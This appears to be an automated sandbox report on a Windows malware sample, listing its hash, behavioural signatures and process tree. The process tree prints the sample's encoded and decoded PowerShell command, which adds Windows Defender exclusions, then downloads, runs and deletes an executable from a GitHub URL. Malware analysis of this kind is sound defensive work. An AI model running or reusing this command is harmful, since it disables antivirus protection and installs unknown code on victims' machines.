Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
04/06/2026, 23:10
General
- Target 2026-06-04_26bcb7dfc51bb188ea493ffb88ac120a_.exe
- Size 2.0MB
- Sample260604-2523bshs6n
- SHA256 f453ef91255c850788c628c5b7f33a7f6650571c364044799ebc2a58d0d19363
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-06-04_26bcb7dfc51bb188ea493ffb88ac120a_.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-04_26bcb7dfc51bb188ea493ffb88ac120a_.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABTAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAC0ARgBPAFIAQwBFADoAIABBAGQAZAAtACAATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVwBJAE4ARABPAFcAUwAtAEYATwBSAEMARQA6ACAAQwBVAFIATAAgAC0ATwAgACIAUwBlAG4AdgAuACAAVABFAE0AUABcAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAIgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcwBpAGEAbQBmAGwAZQB4AHgAaQBmAGYALQBjAG8AbQBtAGkAdABzAC8AbgBvAG4AZQAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBPAHAAdABpAG0AaQB6AGUAQwBQAFUALgBlAHgAZQA7ACAAUwBUAEEAUgBUACAAUwBlAG4AdgAuAFQARQBNAFAAIABTAGgAZQBsAGwASABvAHMAdAAuAGUAeABlADsAIABTAFQAQQBSAFQALQBTAEwARQBFAFAAIABNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADYAMAAwADAAOwAgAFIAZQBtACAAbwB2AGUALQBJAHQAZQBtACAALQBwAGEAdABoACAAUwBlAG4AdgAuACAAVABFAE0AUAAvAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgAgAHIAdQBuAEEAcwA=2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABTAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAC0ARgBPAFIAQwBFADoAIABBAGQAZAAtACAATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVwBJAE4ARABPAFcAUwAtAEYATwBSAEMARQA6ACAAQwBVAFIATAAgAC0ATwAgACIAUwBlAG4AdgAuACAAVABFAE0AUABcAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAIgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcwBpAGEAbQBmAGwAZQB4AHgAaQBmAGYALQBjAG8AbQBtAGkAdABzAC8AbgBvAG4AZQAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBPAHAAdABpAG0AaQB6AGUAQwBQAFUALgBlAHgAZQA7ACAAUwBUAEEAUgBUACAAUwBlAG4AdgAuAFQARQBNAFAAIABTAGgAZQBsAGwASABvAHMAdAAuAGUAeABlADsAIABTAFQAQQBSAFQALQBTAEwARQBFAFAAIABNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADYAMAAwADAAOwAgAFIAZQBtACAAbwB2AGUALQBJAHQAZQBtACAALQBwAGEAdABoACAAUwBlAG4AdgAuACAAVABFAE0AUAAvAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgAgAHIAdQBuAEEAcwA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath Senv:USERPROFILE-FORCE: Add- MpPreference-ExclusionPath C:\WINDOWS-FORCE: CURL -O "Senv. TEMP\ShellHost.exe" https://github.com/siamflexxiff-commits/none/raw/refs/heads/main/OptimizeCPU.exe; START Senv.TEMP ShellHost.exe; START-SLEEP Milliseconds 6000; Rem ove-Item -path Senv. TEMP/ShellHost.exe4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_r3zew3re.uke.ps1
memory/4076-15-0x0000000000400000-0x000000000052A000-memory.dmp
memory/4300-31-0x0000028A78FD0000-0x0000028A78FDA000-memory.dmp
memory/4300-33-0x0000028A78FE0000-0x0000028A78FEA000-memory.dmp
memory/4300-13-0x0000028A75D00000-0x0000028A75D10000-memory.dmp
memory/4300-37-0x0000028A79030000-0x0000028A7903A000-memory.dmp
memory/4300-36-0x0000028A79020000-0x0000028A79026000-memory.dmp
memory/4300-35-0x0000028A78FF0000-0x0000028A78FF8000-memory.dmp
memory/4300-29-0x0000028A78FB0000-0x0000028A78FCC000-memory.dmp
memory/4300-30-0x0000028A79290000-0x0000028A79343000-memory.dmp
memory/4300-34-0x0000028A79040000-0x0000028A7905A000-memory.dmp
memory/4300-32-0x0000028A79000000-0x0000028A7901C000-memory.dmp
memory/4300-14-0x0000028A75D00000-0x0000028A75D10000-memory.dmp
memory/4988-1-0x00000205FB4D0000-0x00000205FB4E0000-memory.dmp
memory/4988-0-0x00000205FB4D0000-0x00000205FB4E0000-memory.dmp
memory/4988-8-0x00000205FE1D0000-0x00000205FE1F2000-memory.dmp
memory/4988-9-0x00000205FB4D0000-0x00000205FB4E0000-memory.dmp